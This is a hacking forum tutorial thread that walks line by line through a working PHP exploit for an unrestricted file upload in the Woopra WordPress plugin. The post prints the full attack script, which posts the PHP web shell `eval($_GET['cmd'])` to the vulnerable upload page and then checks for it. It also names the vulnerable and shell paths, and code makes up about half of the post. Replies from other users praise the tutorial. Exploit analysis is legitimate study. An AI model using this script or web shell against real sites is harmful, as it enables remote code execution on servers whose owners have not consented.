Sinisterly
Exploit Analysis - Part 1 [PHP] - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: Exploit Analysis - Part 1 [PHP] (/Thread-Exploit-Analysis-Part-1-PHP)

Exploit Analysis - Part 1 [PHP] - Boomslang - 08-02-2014

Hello HackCommunity!
Today I will show you how to break down an exploit and analyse it to gain more knowledge about the vulnerability.
Exploit analysis is a skill as important as exploit development. Sometimes exploit developers only give a brief description about the vulnerability and you may want to know more about it. This skill will be useful in those situations. It will also help you to have a better understanding about how an exploit works.

Most popular languages used for exploit development are: Python, Perl, Ruby, PHP, C.
It's to your benefit to know atleast one of these languages.
For a start, I'll break down and analyse a simple RCE exploit for Wordpress written in PHP.
Lets start.

The exploit we'll be working on: http://1337day.com/exploit/21347

A cleaner version of the exploit;
PHP Code:
$options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n"); $url = $options['u']; $file = $options['f']; $shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}"; $url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}"; $data = "<?php eval(\$_GET['cmd']); ?>"; $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 'Content-Type: text/plain'); $handle = curl_init(); curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); $source = curl_exec($handle); curl_close($handle); if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) { echo " [+] Exploit completed successfully!\n"; echo " ______________________________________________\n\n {$shell}?cmd=system('id');\n"; } else { die(" [+] Exploit was unsuccessful.\n"); } ?>

As you can see there isn't any explanation about how the exploit works. So we need to figure it out ourselves!
Lets break it down.

PHP Code:
$options = getopt('u:f:');
The function getopt() is simply returns options from command line argument list. This line of code will store the values of options '-u' and '-f' in an array.

PHP Code:
if(!isset($options['u'], $options['f'])) die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");
This code checks if the value of $options['u'] and $options['f'] is empty. If so, it terminates the program and displays a message which informs user about usage of the program.

PHP Code:
$url = $options['u']; $file = $options['f'];
If those values aren't empty this code will store them in variables $url and $file.

PHP Code:
$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}"; $url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
The variable $shell contains location of the shell which will be uploaded. And the variable $url contains the URL of the vulnerable page. With looking to name of the vulnerable page, we can understand that its an upload page without proper file restrictions.

PHP Code:
$data = "<?php eval(\$_GET['cmd']); ?>";
This is the shell we will upload to server. eval($_GET['cmd']) is a code that will allow us to pass shell commands with GET parameter 'cmd'.

PHP Code:
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 'Content-Type: text/plain');
This variable contains the header information which we will send to server.

PHP Code:
$handle = curl_init(); curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); $source = curl_exec($handle); curl_close($handle);
CURL is a PHP library to manage requests in HTTP and many other protocols as well. The first line creates a HTTP handle. The four lines after that creates the request using curl_setopt() function and passes the data which will be sent. The request is sent with the function curl_exec() and response data (which is a HTML page) is stored in variable $source. And the connection is closed with curl_close() afterwards.

PHP Code:
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) { echo " [+] Exploit completed successfully!\n"; echo " ______________________________________________\n\n {$shell}?cmd=system('id');\n"; } else { die(" [+] Exploit was unsuccessful.\n"); }
This piece of code will check if the HTML response contains the string 'Undefined variable: HTTP_RAW_POST_DATA' (which we assume it indicates that exploitation is failed) and also if the shell page is available. If response doesn't contain that string and the shell page is available then it means that exploitation is successful.

To sum up the exploitation process;
  • The page /wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php is vulnerable to unrestricted file upload.
  • Desired filename is passed with GET method under 'name' variable.
  • Source code of the file is sent with POST method (raw post data).
  • Location of the uploaded shell is: /wp-content/plugins/woopra/inc/tmp-upload-images/{filename}

I hope you liked this tutorial Smile
Feel free to correct my mistakes.

Au Revoir..

RE: Analysis of an Exploit | Part 1 - lady_godiva - 08-03-2014

(08-02-2014, 11:27 PM)RootTheSystem Wrote: Most popular languages used for exploit development are: Python, Perl, Ruby, PHP.

Actually i would also add C at least. There are actually lots of exploits written in C.

RE: Analysis of an Exploit | Part 1 - Anima Templi - 08-03-2014

Wow, you even made me understand the whole process :o

Lol, nice job mate! I like it.

RE: Analysis of an Exploit | Part 1 - Ex094 - 08-03-2014

Pretty much understood the whole process, Good work mate Smile

RE: Analysis of an Exploit | Part 1 - Lynux - 08-03-2014

A very good tutorial and a very informative one at that, I am sure I will be coming back to this and using this tut in the future Smile

RE: Analysis of an Exploit | Part 1 - Boomslang - 08-03-2014

(08-03-2014, 10:02 AM)lady_godiva Wrote:
(08-02-2014, 11:27 PM)RootTheSystem Wrote: Most popular languages used for exploit development are: Python, Perl, Ruby, PHP.

Actually i would also add C at least. There are actually lots of exploits written in C.

Actually you're right, I'll add C too. Thank you Smile